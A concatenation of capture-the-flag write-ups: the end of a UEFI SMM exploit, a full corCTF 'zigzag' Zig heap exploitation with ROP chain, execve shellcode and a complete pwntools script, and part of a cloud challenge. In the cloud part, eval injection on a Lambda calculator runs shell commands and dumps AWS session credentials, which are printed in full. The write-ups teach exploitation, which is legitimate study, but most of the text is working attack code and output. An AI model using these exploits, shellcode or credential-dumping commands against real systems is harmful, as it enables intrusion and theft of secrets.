real_chain += [ pop_rax_rbx_r12 , # pop rax ; pop rbx ; pop r12 ; ret chunk , # -> RAX PiSmmCpuDxeSmm_text + i, # -> RBX 0xdeadbeef , write_primitive , # mov qword ptr [rbx], rax ; pop rbx ; ret 0xdeadbeef ]
real_chain += [PiSmmCpuDxeSmm_text]
# Transform real ROP chain into .quad directives to embed in the shellcode:# .quad 0x7f8a184# .quad 0x80000033# ...real_chain_size = len(real_chain) * 8real_chain = '.quad ' + '\n.quad '.join(map(str, real_chain))```
The asm of the code we send to the server is the same as for the previouschallenge, so I am leaving most of it out. The only thing that changes is thatwe now have to do some math to put the gadget to flip the stack and the newstack address in the right place since the `ret 0x6d` will misalign the stack:
```pythoncode = asm(f''' /* ... */
movabs r13, {(flip_stack << 40) & 0xffffffffffffffff} movabs r14, {((flip_stack >> 24) | (new_smm_stack << 40)) & 0xffffffffffffffff} movabs r15, {new_smm_stack >> 24} call rax
/* ... */''')```
Now just run the exploit in a loop as we did for SMM Cowsay 2 and leak theentire flag: `uiuctf{uefi_is_hard_and_vendors_dont_care_1403c057}`. GG!
---
GG to you too if you made it this far :O. All in all, this was very fun andinteresting set of challenges that made me learn a lot about x86 SMM and UEFI.Hope you enjoyed the write-up.
[smm1]: #smm-cowsay-1[smm2]: #smm-cowsay-2[smm3]: #smm-cowsay-3[expl1]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_1.py[expl2]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_2.py[expl3]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_3.py
[tweet]: https://twitter.com/MeBeiM/status/1554849894237609985[uiuctf]: https://ctftime.org/event/1600/[uiuctf-archive]: https://2022.uiuc.tf/challenges[author]: https://github.com/zhuyifei1999[wiki-smm]: https://en.wikipedia.org/wiki/System_Management_Mode[intel-sdm]: https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html[uefi-spec]: https://uefi.org/specifications[uefi-spec-pdf]: https://uefi.org/sites/default/files/resources/UEFI_Spec_2_9_2021_03_18.pdf[man-cowsay]: https://manned.org/cowsay.1[man-pahole]: https://manned.org/pahole.1[x64-call]: https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170[x86-rsm]: https://www.felixcloutier.com/x86/rsm[x86-rdrand]: https://www.felixcloutier.com/x86/rdrand[gh-pwntools]: https://github.com/Gallopsled/pwntools[gh-ropgadget]: https://github.com/JonathanSalwan/ROPgadget[gh-edk2]: https://github.com/tianocore/edk2[gh-edk2-securityex]: https://github.com/jyao1/SecurityEx[gh-qemu]: https://github.com/qemu/qemu[qemu-memtxattrs]: https://github.com/qemu/qemu/blob/v7.0.0/include/exec/memattrs.h#L35[edk2-SystemTable]: https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/3_foundation/33_uefi_system_table[edk2-SmiHandlerRegister]: https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdeModulePkg/Core/PiSmmCore/Smi.c#L213[edk2-EfiRuntimeServicesData]: https://github.com/tianocore/edk2/blob/0ecdcb6142037dd1cdd08660a2349960bcf0270a/BaseTools/Source/C/Include/Common/UefiMultiPhase.h#L25[edk2-SmmCommunicationCommunicate]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L110[edk2-EFI_SMM_COMMUNICATION_PROTOCOL]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L267[edk2-copy-msg]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L547[edk2-smi-entry]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiEntry.nasm#L89[edk2-gadget]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/Library/BaseLib/X64/LongJump.nasm#L54[edk2-MdePkg]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/MdePkg.dec[edk2-buffer-check]: https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdePkg/Library/SmmMemLib/SmmMemLib.c#L163[edk2-gdt]: https://github.com/tianocore/edk2/blob/2812668bfc121ee792cf3302195176ef4a2ad0bc/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiException.nasm#L31
|
## Introduction
`zigzag` is a zig heap challenge I did during the [corCTF 2022](https://ctftime.org/event/1656) event. It was pretty exotic given we have to pwn a heap like challenge written in [zig](https://ziglang.org/). It is not using the C allocator but instead it uses the GeneralPurposeAllocator, which makes the challenge even more interesting. Find the tasks [here](https://github.com/ret2school/ctf/tree/master/2022/corCTF/pwn/zieg).
## TL; DR- Understanding zig `GeneralPurposeAllocator` internals- Hiijack the `BucketHeader` of a given bucket to get a write what were / read what where primitive.- Leak stack + ROP on the fileRead function (mprotect + shellcode)- PROFIT
## Source code analysis
The source code is procided:```rust// zig build-exe main.zig -O ReleaseSmall// built with zig version: 0.10.0-dev.2959+6f55b294f
const std = @import("std");const fmt = std.fmt;
const stdout = std.io.getStdOut().writer();const stdin = std.io.getStdIn();
const MAX_SIZE: usize = 0x500;const ERR: usize = 0xbaad0000;const NULL: usize = 0xdead0000;
var chunklist: [20][]u8 = undefined;
var gpa = std.heap.GeneralPurposeAllocator(.{}){};const allocator = gpa.allocator();
pub fn menu() !void { try stdout.print("[1] Add\n", .{}); try stdout.print("[2] Delete\n", .{}); try stdout.print("[3] Show\n", .{}); try stdout.print("[4] Edit\n", .{}); try stdout.print("[5] Exit\n", .{}); try stdout.print("> ", .{});}
pub fn readNum() !usize { var buf: [64]u8 = undefined; var stripped: []const u8 = undefined; var amnt: usize = undefined; var num: usize = undefined;
amnt = try stdin.read(&buf;; stripped = std.mem.trimRight(u8, buf[0..amnt], "\n");
num = fmt.parseUnsigned(usize, stripped, 10) catch { return ERR; };
return num;}
pub fn add() !void { var idx: usize = undefined; var size: usize = undefined;
try stdout.print("Index: ", .{}); idx = try readNum();
if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) != NULL) { try stdout.print("Invalid index!\n", .{}); return; }
try stdout.print("Size: ", .{}); size = try readNum();
if (size == ERR or size >= MAX_SIZE) { try stdout.print("Invalid size!\n", .{}); return; }
chunklist[idx] = try allocator.alloc(u8, size);
try stdout.print("Data: ", .{}); _ = try stdin.read(chunklist[idx]);}
pub fn delete() !void { var idx: usize = undefined;
try stdout.print("Index: ", .{}); idx = try readNum();
if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) { try stdout.print("Invalid index!\n", .{}); return; }
_ = allocator.free(chunklist[idx]);
chunklist[idx].ptr = @intToPtr([*]u8, NULL); chunklist[idx].len = 0;}
pub fn show() !void { var idx: usize = undefined;
try stdout.print("Index: ", .{}); idx = try readNum();
if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) { try stdout.print("Invalid index!\n", .{}); return; }
try stdout.print("{s}\n", .{chunklist[idx]});}
pub fn edit() !void { var idx: usize = undefined; var size: usize = undefined;
try stdout.print("Index: ", .{}); idx = try readNum();
if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) { try stdout.print("Invalid index!\n", .{}); return; }
try stdout.print("Size: ", .{}); size = try readNum();
if (size > chunklist[idx].len and size == ERR) { try stdout.print("Invalid size!\n", .{}); return; }
chunklist[idx].len = size;
try stdout.print("Data: ", .{}); _ = try stdin.read(chunklist[idx]);}
pub fn main() !void { var choice: usize = undefined;
for (chunklist) |_, i| { chunklist[i].ptr = @intToPtr([*]u8, NULL); chunklist[i].len = 0; }
while (true) { try menu();
choice = try readNum(); if (choice == ERR) continue;
if (choice == 1) try add(); if (choice == 2) try delete(); if (choice == 3) try show(); if (choice == 4) try edit(); if (choice == 5) break; }}```
The source code is quite readable, the vulnerability is the overflow within the `edit` function. The check onto the provided size isn't efficient, `size > chunklist[idx].len and size == ERR`, if `size > chunklist[idx].len` and if `size != ERR` the condition is false. Which means we can edit the chunk by writing an arbitrary amount of data in it.
## GeneralPurposeAllocator abstract
The [zig](https://github.com/ziglang/zig/) source is quite readable so let's take a look at the internals of the GeneralPurposeAllocator allocator.The GeneralPurposeAllocator is implemented [here](https://github.com/ziglang/zig/blob/master/lib/std/heap/general_purpose_allocator.zig).The header of the source code file gives the basic design of the allocator:```//! ## Basic Design://!//! Small allocations are divided into buckets://!//! ```//! index obj_size//! 0 1//! 1 2//! 2 4//! 3 8//! 4 16//! 5 32//! 6 64//! 7 128//! 8 256//! 9 512//! 10 1024//! 11 2048//! ```//!//! The main allocator state has an array of all the "current" buckets for each//! size class. Each slot in the array can be null, meaning the bucket for that//! size class is not allocated. When the first object is allocated for a given//! size class, it allocates 1 page of memory from the OS. This page is//! divided into "slots" - one per allocated object. Along with the page of memory//! for object slots, as many pages as necessary are allocated to store the//! BucketHeader, followed by "used bits", and two stack traces for each slot//! (allocation trace and free trace).//!//! The "used bits" are 1 bit per slot representing whether the slot is used.//! Allocations use the data to iterate to find a free slot. Frees assert that the//! corresponding bit is 1 and set it to 0.//!//! Buckets have prev and next pointers. When there is only one bucket for a given//! size class, both prev and next point to itself. When all slots of a bucket are//! used, a new bucket is allocated, and enters the doubly linked list. The main//! allocator state tracks the "current" bucket for each size class. Leak detection//! currently only checks the current bucket.//!//! Resizing detects if the size class is unchanged or smaller, in which case the same//! pointer is returned unmodified. If a larger size class is required,//! `error.OutOfMemory` is returned.//!//! Large objects are allocated directly using the backing allocator and their metadata is stored//! in a `std.HashMap` using the backing allocator.```
Let's take a look at `alloc` function:```rustfn alloc(self: *Self, len: usize, ptr_align: u29, len_align: u29, ret_addr: usize) Error![]u8 { self.mutex.lock(); defer self.mutex.unlock();
if (!self.isAllocationAllowed(len)) { return error.OutOfMemory; }
const new_aligned_size = math.max(len, ptr_align); if (new_aligned_size > largest_bucket_object_size) { try self.large_allocations.ensureUnusedCapacity(self.backing_allocator, 1); const slice = try self.backing_allocator.rawAlloc(len, ptr_align, len_align, ret_addr);
const gop = self.large_allocations.getOrPutAssumeCapacity(@ptrToInt(slice.ptr)); if (config.retain_metadata and !config.never_unmap) { // Backing allocator may be reusing memory that we're retaining metadata for assert(!gop.found_existing or gop.value_ptr.freed); } else { assert(!gop.found_existing); // This would mean the kernel double-mapped pages. } gop.value_ptr.bytes = slice; if (config.enable_memory_limit) gop.value_ptr.requested_size = len; gop.value_ptr.captureStackTrace(ret_addr, .alloc); if (config.retain_metadata) { gop.value_ptr.freed = false; if (config.never_unmap) { gop.value_ptr.ptr_align = ptr_align; } }
if (config.verbose_log) { log.info("large alloc {d} bytes at {*}", .{ slice.len, slice.ptr }); } return slice; }
const new_size_class = math.ceilPowerOfTwoAssert(usize, new_aligned_size); const ptr = try self.allocSlot(new_size_class, ret_addr); if (config.verbose_log) { log.info("small alloc {d} bytes at {*}", .{ len, ptr }); } return ptr[0..len];}```First in `alloc`, if the aligned size is not larger than the largest bucket capacity (2**11) it will call `allocSlot`.
```rustfn allocSlot(self: *Self, size_class: usize, trace_addr: usize) Error![*]u8 { const bucket_index = math.log2(size_class); const first_bucket = self.buckets[bucket_index] orelse try self.createBucket( size_class, bucket_index, ); var bucket = first_bucket; const slot_count = @divExact(page_size, size_class); while (bucket.alloc_cursor == slot_count) { const prev_bucket = bucket; bucket = prev_bucket.next; if (bucket == first_bucket) { // make a new one bucket = try self.createBucket(size_class, bucket_index); bucket.prev = prev_bucket; bucket.next = prev_bucket.next; prev_bucket.next = bucket; bucket.next.prev = bucket; } } // change the allocator's current bucket to be this one self.buckets[bucket_index] = bucket;
const slot_index = bucket.alloc_cursor; bucket.alloc_cursor += 1;
var used_bits_byte = bucket.usedBits(slot_index / 8); const used_bit_index: u3 = @intCast(u3, slot_index % 8); // TODO cast should be unnecessary used_bits_byte.* |= (@as(u8, 1) << used_bit_index); bucket.used_count += 1; bucket.captureStackTrace(trace_addr, size_class, slot_index, .alloc); return bucket.page + slot_index * size_class;}````allocSlot` will check if the current bucket is able to allocate one more object, else it will iterate through the doubly linked list to look for a not full bucket.And if it does nto find one, it creates a new bucket. When the bucket is allocated, it returns the available objet at `bucket.page + slot_index * size_class`.
As you can see, the `BucketHeader` is structured like below in the `createBucket` function:
```rustfn createBucket(self: *Self, size_class: usize, bucket_index: usize) Error!*BucketHeader { const page = try self.backing_allocator.allocAdvanced(u8, page_size, page_size, .exact); errdefer self.backing_allocator.free(page);
const bucket_size = bucketSize(size_class); const bucket_bytes = try self.backing_allocator.allocAdvanced(u8, @alignOf(BucketHeader), bucket_size, .exact); const ptr = @ptrCast(*BucketHeader, bucket_bytes.ptr); ptr.* = BucketHeader{ .prev = ptr, .next = ptr, .page = page.ptr, .alloc_cursor = 0, .used_count = 0, }; self.buckets[bucket_index] = ptr; // Set the used bits to all zeroes @memset(@as(*[1]u8, ptr.usedBits(0)), 0, usedBitsCount(size_class)); return ptr;}```
It allocates a page to store objects in, then it allocates the `BucketHeader` itself. Note that the page allocator will make allocations adjacent from each other. According to my several experiments the allocations grow -- from an initial given mapping -- to lower or higher addresses. I advice you to try different order of allocations in gdb to figure out this.
Let's quickly decribe each field of the `BucketHeader`:- `.prev` and `.next` keep track of the doubly linked list that links buckets of same size.- `.page` contains the base address of the page that contains the objects that belong to the bucket.- `alloc_cursor` contains the number of allocated objects.- `used_count` contains the number of currently used objects.
## Getting read / write what were primitive
Well, the goal is to an arbitrary read / write by hiijacking the `.page` and `.alloc_cursor` fields of the `BucketHeader`, this way if we hiijack pointers from a currently used bucket for a given size we can get a chunk toward any location.
What we can do to get a chunk close to a `BucketHeader` structure would be:- Allocate large (`0x500-1`) chunk, `0x800` bucket.- Allocate 4 other chunks of size `1000`, which end up in the `0x400` bucket.
Thus, first one page has been allocated to satisfy request one, then another page right after the other has been allocated to store the `BucketHeader` for this bucket.Then, to satisfy the four next allocations, the page that stores the objects has been allocated right after the one which stores the `BucketHeader` of the `0x800`-bucket, and finally a page is allocated to store the `BucketHeader` of the `0x400` bucket.
If you do not understand clearly, I advice you to debug my exploit in `gdb` by looking at the `chunklist`.
With this process the last allocated `0x400`-sized chunk gets allocated `0x400` bytes before the `BucketHeader` of the bucket that handles `0x400`-sized chunks.Thus to get a read / write what were we can simply trigger the heap overflow with the `edit` function to null out `.alloc_cursor` and `.used_count` and replace `.page` by the target location.This way the next allocation that will request `0x400` bytes, which will trigger the hiijacked bucket and return the target location giving us the primitive.
Which gives:```pyalloc(0, 0x500-1, b"A")for i in range(1, 5): alloc(i, 1000, b"vv")
edit(4, 0x400 + 5*8, b"X"*0x400 \ # padding + pwn.p64(0x208000)*3 \ # next / prev + .page point toward the target => 0x208000 + pwn.p64(0x0) \ # .alloc_cursor & .used_count + pwn.p64(0)) # used bits
# next alloc(1000) will trigger the write what were```
## Leak stack
To leak the stack I leaked the `argv` variable that contains a pointer toward arguments given to the program, stored on the stack. That's a reliable leak given it's a known and fixed location, which can base used as a base compared with function's stackframes.
```pyalloc(5, 1000, b"A") # get chunk into target location (0x208000)show(5)io.recv(0x100) # argv is located at 0x208000 + 0x100
stack = pwn.u64(io.recv(8))pwn.log.info(f"stack: {hex(stack)}")```
## ROP
Now we're able to overwrite whatever function's stackframe, we have to find one that returns from context of `std.fs.file.File.read` that reads the user input to the chunk. But unlucky functions like `add`, `edit` are inlined in the `main` function. Moreover we cannot overwrite the return address of the `main` function given that the exit handler call directly exit. Which means we have to corrput the stackframe of the `std.fs.file.File.read` function called in the `edit` function.But the issue is that between the call to `SYS_read` within `std.fs.file.File.read` and the end of the function, variables that belong to the calling function's stackframe are edited, corrupting the ROPchain. So what I did is using this gadget to reach a part of the stack that will not be corrupted:
```0x0000000000203715 : add rsp, 0x68 ; pop rbx ; pop r14 ; ret```
With the use of this gadget I'm able to pop a few QWORD from the stack to reach another area of the stack where I write my ROPchain.The goal for the ROPchain is to `mptotect` a shellcode and then jump on it. The issue is that I didn't find a gadget to control the value of the `rdx` register but when it returns from `std.fs.file.File.read` it contains the value of size given to `edit`. So to call `mprotect(rdi=0x208000, rsi=0x1000, rdx=0x7)` we have to call `edit` with a size of `7` to write on the `std.fs.file.File.read` saved RIP the value of the magic gadget seen previously.
Here is the ROPchain:```pyedit(4, 0x400 + 5*8, b"A"*0x400 + pwn.p64(0x208000)*3 + pwn.p64(0x000) + pwn.p64(0))# with the use of the write what were we write the shellcode at 0x208000
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"# execve("/bin/sh", NULL, NULL)
alloc(14, 1000, shellcode)
"""0x0000000000201fcf : pop rax ; syscall0x0000000000203147 : pop rdi ; ret0x000000000020351b : pop rsi ; ret0x00000000002035cf : xor edx, edx ; mov rsi, qword ptr [r9] ; xor eax, eax ; syscall0x0000000000201e09 : ret0x0000000000203715 : add rsp, 0x68 ; pop rbx ; pop r14 ; ret"""
edit(4, 0x400 + 5*8, b"A"*0x400 + pwn.p64(stack-0x50)* 3 + pwn.p64(0) + pwn.p64(0))# write ROPchain into the safe area on the stack alloc(11, 0x400, pwn.p64(0x203147) \ # pop rdi ; ret + pwn.p64(0x208000) + \ # target area for the shellcode pwn.p64(0x20351b) + \ # pop rsi ; ret pwn.p64(0x1000) + \ # length pwn.p64(0x201fcf) + \ # pop rax ; syscall pwn.p64(0xa) + \ # SYS_mprotect pwn.p64(0x208000)) # jump on the shellcode + PROFIT
edit(4, 0x400 + 5*8, b"A"*0x400 + pwn.p64(stack-0xd0)* 3 + pwn.p64(0) + pwn.p64(0))
alloc(12, 1000, pwn.p64(0x202d16)) # valid return addressedit(12, 0x7, pwn.p64(0x0000000000203715)) # magic gadget
io.interactive()```
## PROFIT
```nasm@off:~/Documents/pwn/corCTF/zieg$ python3 remote.py REMOTE HOST=be.ax PORT=31278[*] '/home/nasm/Documents/pwn/corCTF/zieg/zigzag' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x200000)[+] Opening connection to be.ax on port 31278: Done[*] stack: 0x7ffc2ca48ae8[*] Loaded 37 cached gadgets for 'zigzag'[*] Using sigreturn for 'SYS_execve'[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ lsflag.txtzigzag$ cat flag.txtcorctf{bl4Z1nGlY_f4sT!!}```
## Appendices
Final exploit:```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF('zigzag')# pwn.context.terminal = ['tmux', 'new-window'] pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = False
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''source ~/Downloads/pwndbg/gdbinit.py'''.format(**locals())
io = None
io = start()
def alloc(idx, size, data): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Index: ", str(idx).encode()) io.sendlineafter(b"Size: ", str(size).encode()) io.sendlineafter(b"Data: ", data)
def delete(idx): io.sendlineafter(b"> ", b"2") io.sendlineafter(b"Index: ", str(idx).encode())
def show(idx): io.sendlineafter(b"> ", b"3") io.sendlineafter(b"Index: ", str(idx).encode())
def edit(idx, size, data): io.sendlineafter(b"> ", b"4") io.sendlineafter(b"Index: ", str(idx).encode()) io.sendlineafter(b"Size: ", str(size).encode()) io.sendlineafter(b"Data: ", data)
alloc(0, 0x500-1, b"A")for i in range(1, 5): alloc(i, 1000, b"vv")
edit(4, 0x400 + 5*8, b"X"*0x400 + pwn.p64(0x208000)*3 + pwn.p64(0x000) + pwn.p64(0))
alloc(5, 1000, b"A")show(5)io.recv(0x100)
stack = pwn.u64(io.recv(8))pwn.log.info(f"stack: {hex(stack)}")
edit(4, 0x400 + 5*8, b"A"*0x400 + pwn.p64(0x208000)*3 + pwn.p64(0x000) + pwn.p64(0))
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
alloc(14, 1000, shellcode)
"""0x0000000000201fcf : pop rax ; syscall0x0000000000203147 : pop rdi ; ret0x000000000020351b : pop rsi ; ret0x00000000002035cf : xor edx, edx ; mov rsi, qword ptr [r9] ; xor eax, eax ; syscall0x0000000000201e09 : ret0x0000000000203715 : add rsp, 0x68 ; pop rbx ; pop r14 ; ret"""
rop = pwn.ROP(exe)binsh = 0x208000+(48)rop.execve(binsh, 0, 0)
edit(4, 0x400 + 5*8, b"A"*0x400 + pwn.p64(stack-0x50)* 3 + pwn.p64(0) + pwn.p64(0))alloc(11, 0x400, pwn.p64(0x203147) + pwn.p64(0x208000) + pwn.p64(0x20351b) + pwn.p64(0x1000) + pwn.p64(0x201fcf) + pwn.p64(0xa) + pwn.p64(0x208000))
edit(4, 0x400 + 5*8, b"A"*0x400 + pwn.p64(stack-0xd0)* 3 + pwn.p64(0) + pwn.p64(0))
alloc(12, 1000,pwn.p64(0x202d16))edit(12, 0x7, pwn.p64(0x0000000000203715))
io.interactive()
"""nasm@off:~/Documents/pwn/corCTF/zieg$ python3 remote.py REMOTE HOST=be.ax PORT=31278[*] '/home/nasm/Documents/pwn/corCTF/zieg/zigzag' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x200000)[+] Opening connection to be.ax on port 31278: Done[*] stack: 0x7ffe21d2cc68[*] Loaded 37 cached gadgets for 'zigzag'[*] Using sigreturn for 'SYS_execve'[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ cat flag.txtcorctf{bl4Z1nGlY_f4sT!!}"""``` |
# Cloud 9*9```Our new serverless calculator can solve any calulation super fast.
** The Cloud security challenges are provided by SEC Consult **http://3.64.214.139/```
We're given a link to a page with a serverless calculator:
In the background, the calculator submits a request to `/calc` with a JSON payload of `{"input":"..."}`, and returns us the result of the computation. Though exploring it more reveals that it seems to be evaluating any Python code with `eval`:```└─$ curl -s -X POST -H "Content-Type: application/json" -d '{"input":"[]"}' http://3.64.214.139/calc | jq { "result": []}
└─$ curl -s -X POST -H "Content-Type: application/json" -d '{"input":"__import__"}' http://3.64.214.139/calc | jq{ "errorMessage": "Unable to marshal response: Object of type builtin_function_or_method is not JSON serializable", "errorType": "Runtime.MarshalError", "requestId": "9ddab3ac-def0-4d1e-8259-2b59afe69415", "stackTrace": []}
└─$ curl -s -X POST -H "Content-Type: application/json" -d '{"input":"__import__()"}' http://3.64.214.139/calc | jq{ "errorMessage": "__import__() missing required argument 'name' (pos 1)", "errorType": "TypeError", "requestId": "0bf1466a-621f-4054-9b7c-5878ed139112", "stackTrace": [ " File \"/var/task/lambda-function.py\", line 5, in lambda_handler\n 'result' : eval(event['input'])\n", " File \"<string>\", line 1, in <module>\n" ]}```
Now that we're able to execute anything on the machine, we can investigate what else our lambda function does. Note though that all that we execute must be a single statement (unless we use `exec`) and needs to be serializable to JSON (which things like datetimes aren't):```└─$ curl -s -X POST -H "Content-Type: application/json" -d "{\"input\":\"__import__('os').popen('ls').read()\"}" http://3.64.214.139/calc | jq{ "result": "lambda-function.py\n"}
└─$ curl -s -X POST -H "Content-Type: application/json" -d "{\"input\":\"__import__('os').popen('cat lambda-function.py').read()\"}" http://3.64.214.139/calc | jq { "result": "import json\n\ndef lambda_handler(event, context): \n return { \n 'result' : eval(event['input'])\n #flag in nullcon-s3bucket-flag4 ......\n }"}```
The source code hints that we need to get access to `nullcon-s3bucket-flag4` bucket, for which we have two options. We can either use the preinstalled `boto3` (AWS SDK for Python; S3 documentation [here](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html)) to interact with the bucket, or dump the credentials locally and use them with the `aws` CLI.
Using boto3:```└─$ curl -s -X POST -H "Content-Type: application/json" -d "{\"input\":\"[item['Key'] for item in __import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents']]\"}" http://3.64.214.139/calc | jq{ "result": [ "flag4.txt" ]}
└─$ curl -s -X POST -H "Content-Type: application/json" -d "{\"input\":\"__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read()\"}" http://3.64.214.139/calc | jq{ "result": "ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}"}```
Using the AWS CLI, we need to dump the credentials accessible to the lambda function and copy them over to our local machine, and then just download the flag from the bucket with `aws s3`:```└─$ curl -s -X POST -H "Content-Type: application/json" -d "{\"input\":\"__import__('os').popen('printenv | grep AWS_').read()\"}" http://3.64.214.139/calc | jq -r .result AWS_LAMBDA_FUNCTION_VERSION=$LATESTAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDwaDGV1LWNlbnRyYWwtMSJGMEQCIB4XPPQjjduJPmR7RWX0c7RlVQNGZX5gsQLm5vp4OEggAiB7UmffUVZY2NTA6cDiny+IWxfJLQojR1QHRPbvkv7P2yqCAwil//////////8BEAAaDDc0MzI5NjMzMDQ0MCIMm9xMf9q7hnnscweqKtYCDp58EhAxc/WP16vvHaIN8P3kkHGG7IGnIxpZT9+AX/Uc7BfTGBowjVjN9rTqFJdQgjd2WGakRT6xU+UYTWAc5Nz5kcl4ELUWv4SuDe5RxCkupE8Xf8iVXMPKnfUZ3EBpWtFYPPYBVih5GXs2QHCn2T8aChtEybZPudCk3ChPrdPc3Oa8K+xfnQbRvuEiyfiKWHI7grPCGH/aX7exYOC5xEoMzZhZXHkxauQnIwd3oAcl2egMLSOUsJoK6uis1L5MaVA98vZWhuV6YRVH0PJhx9RO7OhAvFo6HxfQoSMh/SRHZaO4aZqBFscvWxDeT5wrGAbXr0eHJTIXz+DrSbh8TqguUbjhROrHyZg64IaoiXDPycJQGVLd1NFfN/YNVi8ywtpSq/rdZ9GTRHgL5ZaOrdC66CdRHLjj31fgiwU52zIiTHGwBHcr1/4IPIJzPfnfXSb89pWAMMe645cGOp8BBXGh0ohi4GX6vk6m8K+Y/ijF+uYwqklD0zxZpsvQ2VoVfRvEUf/hMpnaFCX/VzmoPvMWtAqOG5ByzMq7M3U8wan1+q/qGVonm3NQ0Cvocf52Gb2iuTUv5b4Yh+D4FIstxUra1FF8lE8MgLwdnKtUdpSdB9LaIu+At+/8f1272eKIEGIg7Hg9BbtRMTyJDJ/U7taalGILSolRyXEAP35KAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/lambda-calculatorAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001AWS_LAMBDA_LOG_STREAM_NAME=2022/08/14/[$LATEST]1638eb7728fa45b099328ea77a6028efAWS_EXECUTION_ENV=AWS_Lambda_python3.9AWS_LAMBDA_FUNCTION_NAME=lambda-calculatorAWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000AWS_DEFAULT_REGION=eu-central-1AWS_SECRET_ACCESS_KEY=7VW28qVhHl/UGnkbMbUaluMda/QQSC/Qyvi0lFvCAWS_LAMBDA_INITIALIZATION_TYPE=on-demandAWS_REGION=eu-central-1AWS_ACCESS_KEY_ID=ASIA22D7J5LEL25ZWZ7A_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129_AWS_XRAY_DAEMON_PORT=2000AWS_XRAY_CONTEXT_MISSING=LOG_ERRORAWS_LAMBDA_FUNCTION_MEMORY_SIZE=512
